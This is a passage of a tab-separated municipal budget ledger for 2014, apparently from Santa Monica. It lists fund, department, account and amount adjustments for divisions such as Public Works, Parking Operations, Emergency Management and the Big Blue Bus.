12648	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408570.0	BIKESHARE AQMD GRANT	610.0	Intergovernmental	2014	0.0	0	0	-500000	0	0	0.0	0	0	0	0	0.0	-500000.0
12649	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	1010.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1010.0
12650	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	190.0	0	0	0	0	0	0.0	0	0	0	0	0.0	190.0
12651	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	500.0
12652	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2014	0.0	0	0	0	0	377665	0.0	0	0	0	0	0.0	377665.0
12653	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	401700.0	CIVIC AUDITORIUM RENTALS	612.0	Charges for Service	2014	-154800.0	0	0	0	0	0	0.0	154800	0	0	0	0.0	0.0
12654	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	7925.0	0	0	0	0	165	2218.97	0	0	0	0	0.0	10308.97
12655	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	676826.0	0	0	0	0	0	-675.0	0	0	0	0	0.0	676151.0
12656	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511749.0	VISION	808.0	Salaries and Wages	2014	964.0	0	0	0	0	0	0.0	0	0	0	0	0.0	964.0
12657	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DCAP	808.0	Salaries and Wages	2014	492.0	0	0	0	0	0	0.0	0	0	0	0	0.0	492.0
12658	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	21649.0	0	0	0	0	0	0.0	0	0	0	0	0.0	21649.0
12659	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522130.0	UTILITIES - WATER	808.0	 Supplies and Expenses	2014	177984.0	0	0	0	0	0	0.0	0	0	0	0	0.0	177984.0
12660	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		DCAP	808.0	Salaries and Wages	2014	72.0	0	0	0	0	0	0.0	0	0	0	0	0.0	72.0
12661	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	50.0	0	0	0	0	0	0.0	0	0	0	0	0.0	50.0
12662	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544040.0	BOOKS / PAMPHLETS	808.0	 Supplies and Expenses	2014	500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	500.0
12663	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	577260.0	SENIOR HOUSING VOUCHER PRG	816.0	 Supplies and Expenses	2014	350000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	350000.0
12664	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	408360.0	SUCCESSOR AGENCY ADMIN	622.0	Other	2014	-772813.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-772813.0
12665	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	407180.0	VALET LICENSING FEES	608.0	Licenses and Permits	2014	-100000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-100000.0
12666	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	408240.0	PARKING STRUCTURE 10	608.0	Licenses and Permits	2014	-285600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-285600.0
12667	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	410050.0	SCE OBF INCTV	622.0	Other	2014	0.0	0	0	0	0	0	-144977.0	0	0	0	0	0.0	-144977.0
12668	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522560.0	DOWNTOWN ADVERTISING	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	54694.0	0	0	0	0	0.0	54694.0
12669	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2014	1616.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1616.0
12670	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	282414.0	0	0	0	0	7614	0.0	0	0	0	0	0.0	290028.0
12671	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	62685.0	0	0	0	0	0	0.0	0	0	0	0	0.0	62685.0
12672	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511744.0	MED TRUST - POLICE	806.0	Salaries and Wages	2014	1738.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1738.0
12673	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-13216.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-13216.0
12674	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511920.0	UNIFORM / TOOL ALLOWANCE	804.0	Salaries and Wages	2014	960.0	0	0	0	0	0	0.0	0	0	0	0	0.0	960.0
12675	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	2590.0	0	0	0	0	34	0.0	0	0	0	0	0.0	2624.0
12676	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	3075.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3075.0
12677	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2014	51759.0	0	0	0	0	0	0.0	0	0	0	0	0.0	51759.0
12678	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	4377.0	0	0	0	-1904	0	0.0	0	0	0	0	0.0	2473.0
12679	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	406804.0	13 STATE HOMELAND SEC GRANT	610.0	Intergovernmental	2014	0.0	0	0	0	-200000	0	0.0	0	0	0	0	0.0	-200000.0
12680	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	577710.0	DOWNTOWN SHUTTLE PROGRAM		 Supplies and Expenses	2014	377195.0	0	0	0	0	0	348223.0	0	0	0	0	0.0	725418.0
12681	B1	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	577710.0	DOWNTOWN SHUTTLE PROGRAM	816.0	 Supplies and Expenses	2014	68000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	68000.0
12682	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		PROP A LR TRANS-ARTS	808.0	 Supplies and Expenses	2014	15000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15000.0
12683	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		PROP A LR TRANS-SENIOR	808.0	 Supplies and Expenses	2014	3000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3000.0
12684	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	408490.0	RESIDENTIAL REPORT MONITORING	612.0	Charges for Service	2014	-1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1000.0
12685	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408510.0	BIKE NETWORK LINK EXPO-METRO	610.0	Intergovernmental	2014	-1320234.0	0	0	-737255	0	0	0.0	0	0	0	0	0.0	-2057489.0
12686	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		EAP	810.0	Salaries and Wages	2014	100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	100.0
12687	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2014	58952.0	0	0	0	0	0	0.0	0	0	0	0	0.0	58952.0
12688	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		EAP	808.0	Salaries and Wages	2014	1244.0	0	0	0	0	0	416.67	0	0	0	0	0.0	1660.67
12689	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2014	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
12690	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	533210.0	BLDG OPER / CUSTODIAL SUPPLIES	808.0	 Supplies and Expenses	2014	135000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	135000.0
12691	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	540590.0	EMPLOYEE RECOGNITION & APPRECI	808.0	 Supplies and Expenses	2014	330.0	0	0	0	0	0	0.0	0	0	0	0	0.0	330.0
12692	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	12128.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12128.0
12693	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-3840.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3840.0
12694	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-28455.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-28455.0
12695	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2014	184375.0	0	0	0	0	0	0.0	0	0	0	0	0.0	184375.0
12696	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	11400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11400.0
12697	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	1391051.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1391051.0
12698	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	3108.0	0	0	0	0	0	450.0	0	0	0	0	0.0	3558.0
12699	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511748.0	DENTAL	808.0	Salaries and Wages	2014	3651.0	0	0	0	0	0	375.0	0	0	0	0	0.0	4026.0
12700	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-2639.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2639.0
12701	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2014	22000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	22000.0
12702	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2014	17146.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17146.0
12703	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2014	131349.0	0	0	0	0	0	0.0	0	0	0	0	0.0	131349.0
12704	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	407800.0	CIVIC CENTER PARKING	608.0	Licenses and Permits	2014	-1000000.0	0	0	0	0	0	-500000.0	0	0	0	0	0.0	-1500000.0
12705	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	408230.0	MIDTOWN PARKING LOTS	608.0	Licenses and Permits	2014	-122000.0	0	0	0	0	0	-43000.0	0	0	0	0	0.0	-165000.0
12706	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522530.0	PARKING OUTREACH	804.0	 Supplies and Expenses	2014	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
12707	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	533030.0	PROPERTY INSURANCE	804.0	 Supplies and Expenses	2014	582207.0	0	0	0	0	0	0.0	0	0	0	0	0.0	582207.0
12708	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	402020.0	SM PIER - PARKING LOTS	650.0	Charges for Service	2014	-1459866.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1459866.0
12709	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	402550.0	INT DEP / INVESTMENT	659.0	Investment Income	2014	-68000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-68000.0
12710	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561406.0	DIRECT SERVICES		 Supplies and Expenses	2014	76242.0	0	0	0	0	0	0.0	0	0	0	0	0.0	76242.0
12711	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2014	38168.0	0	0	0	0	0	0.0	0	0	0	0	0.0	38168.0
12712	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533230.0	SECURITY SYSTEMS	804.0	 Supplies and Expenses	2014	750.0	0	0	0	0	0	0.0	0	0	0	0	0.0	750.0
12713	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	551010.0	CAR WASHES	804.0	 Supplies and Expenses	2014	231.0	0	0	0	0	0	0.0	0	0	0	0	0.0	231.0
12714	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-15915.0	0	0	0	7958	0	0.0	0	0	0	0	0.0	-7957.0
12715	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2014	28600.0	0	0	0	148200	0	-100000.0	0	0	0	0	0.0	76800.0
12716	B1	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	415	TRANSPORTATION MANAGEMENT	409200.0	TRANSIT INFRA CONTRIB-710 WILS	622.0	Other	2014	-244000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-244000.0
12717	B1	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	403765.0	DOWNTOWN SHUTTLE PROGRAM	662.0	Other	2014	-68000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-68000.0
12718	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579010.0	DISCRET-PYFC PAYMENT	804.0	 Supplies and Expenses	2014	190000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	190000.0
12719	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400270.0	ANIMAL LICENSES	608.0	Licenses and Permits	2014	-179899.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-179899.0
12720	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	404290.0	MEASURE R LOCAL RETURN	610.0	Intergovernmental	2014	0.0	0	0	-991753	0	0	0.0	0	0	0	0	0.0	-991753.0
12721	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	566581.0	EMT CERTIFICATES	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	1200.0	0	0	0	0	0.0	1200.0
12722	B1	IS	4	Special Revenue Source Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	408691.0	AFFORD HOUSING SETTLEMENT PMT	622.0	Other	2014	0.0	0	0	0	0	0	-5250000.0	0	0	0	0	0.0	-5250000.0
12723	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	10000.0	0	0	0	0	0.0	10000.0
12724	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	577830.0	WATER CONSERVATION REBATES	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	480000.0	0	0	0	0	0.0	480000.0
12725	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	400310.0	STRUCTURE ATTENDANT PARKING	608.0	Licenses and Permits	2014	-6920093.0	0	0	0	0	0	-464604.0	0	0	0	0	0.0	-7384697.0
12726	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	401320.0	PARKING STRUCTURE PERMITS	608.0	Licenses and Permits	2014	-1300000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1300000.0
12727	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404870.0	1665 OCEAN AVE PKG LOT	608.0	Licenses and Permits	2014	-8568.0	0	0	0	0	0	-26432.0	0	0	0	0	0.0	-35000.0
12728	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		EAP	804.0	Salaries and Wages	2014	413.0	0	0	0	0	0	0.0	0	0	0	0	0.0	413.0
12729	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	15375.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15375.0
12730	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2014	6396.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6396.0
12731	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2014	1025.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1025.0
12732	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511749.0	VISION	804.0	Salaries and Wages	2014	3949.0	0	0	0	-1780	0	0.0	0	0	0	0	0.0	2169.0
12733	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	17670.0	0	0	0	-7864	0	0.0	0	0	0	0	0.0	9806.0
12734	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	1000.0	0	0	0	0	0.0	1000.0
12735	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	3300.0	0	0	0	-1650	0	0.0	0	0	0	0	0.0	1650.0
12736	B1	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	415	TRANSPORTATION MANAGEMENT	409300.0	TRANSIT INFRA CONTRIB-401 BROA	622.0	Other	2014	-125000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-125000.0
12737	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	408473.0	OTHER BUSINESS PERMITS	608.0	Licenses and Permits	2014	-27244.0	0	0	0	0	0	-17221.0	0	0	0	0	0.0	-44465.0
12738	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	566472.0	SPEED SURVEY UPDATE	816.0	 Supplies and Expenses	2014	60000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	60000.0
12739	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	408680.0	ILLEGAL DISPOSAL ABATEMENT GRA	610.0	Intergovernmental	2014	-398064.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-398064.0
12740	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401380.0	POUND FEES	612.0	Charges for Service	2014	-37465.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-37465.0
12741	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	555330.0	VOUCHER REDEMPTIONS	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	16421.92	16421.92
12742	B1	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407791.0	CHILDCARE CIVIC CENTER FACILIT	622.0	Other	2014	0.0	0	0	0	0	0	-248428.0	0	0	0	0	0.0	-248428.0
12743	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522360.0	OPC SEA LEVEL RISE ADAPTATION	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0	235000	0.0	0	0	0	0	0.0	235000.0
12744	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	0.0	0	0	0	5000	0	0.0	0	0	0	0	0.0	5000.0
12745	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579012.0	DISCRET-VIRGINIA AVE PROJECT	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0	15000	0.0	0	0	0	0	0.0	15000.0
12746	B1	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	410070.0	OPEN SPACE CONTRIB 1318 2ND	622.0	Other	2014	0.0	0	0	0	0	0	-225000.0	0	0	0	0	0.0	-225000.0
12747	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	544010.0	SPECIAL DEPARTMENT SUPPLIES	810.0	 Supplies and Expenses	2014	8450.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8450.0
12748	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	545010.0	AQUATIC SUPPLIES	810.0	 Supplies and Expenses	2014	75000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	75000.0
12749	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	5214.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5214.0
12750	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	404771.0	BIKE TRANSIT CTR CONCESSION AG	622.0	Other	2014	-55000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-55000.0
12751	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	409170.0	ACTIVITY PASSPORT	612.0	Charges for Service	2014	-9375.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-9375.0
12752	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	409180.0	COMMERCIAL INSTRUCTION USE CHA	612.0	Charges for Service	2014	-63000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-63000.0
12753	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408530.0	MEMORIAL PARK SUST COMM GRANT	610.0	Intergovernmental	2014	0.0	0	0	-351643	0	0	0.0	0	0	0	0	0.0	-351643.0
12754	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	408540.0	MULTI MODAL TRAVEL & PARKING	610.0	Intergovernmental	2014	0.0	0	0	-664150	0	0	0.0	0	0	0	0	0.0	-664150.0
12755	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
12756	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511748.0	DENTAL	810.0	Salaries and Wages	2014	900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	900.0
12757	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	403110.0	TDA ARTICLE III	610.0	Intergovernmental	2014	-49000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-49000.0
12758	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408350.0	BIKE TRAINING CMAQ GRANT	610.0	Intergovernmental	2014	0.0	0	0	-2015	0	0	0.0	0	0	0	0	0.0	-2015.0
12759	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511490.0	OVERTIME	808.0	Salaries and Wages	2014	50717.0	0	0	0	0	0	487.0	0	0	0	0	0.0	51204.0
12760	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	144654.0	0	0	0	0	2241	30129.03	0	0	0	0	0.0	177024.03
12761	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	2476.0	0	0	0	0	57	765.16	0	0	0	0	0.0	3298.16
12762	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2014	37395.0	0	0	0	0	0	0.0	0	0	0	0	0.0	37395.0
12763	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	6200.0	0	0	0	0	714	0.0	0	0	0	0	0.0	6914.0
12764	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	0.0	0	0	0	0	906	0.0	0	0	0	0	0.0	906.0
12765	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	0.0	0	0	0	0	12758	0.0	0	0	0	0	0.0	12758.0
12766	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511490.0	OVERTIME	808.0	Salaries and Wages	2014	0.0	0	0	0	0	0	675.0	0	0	0	0	0.0	675.0
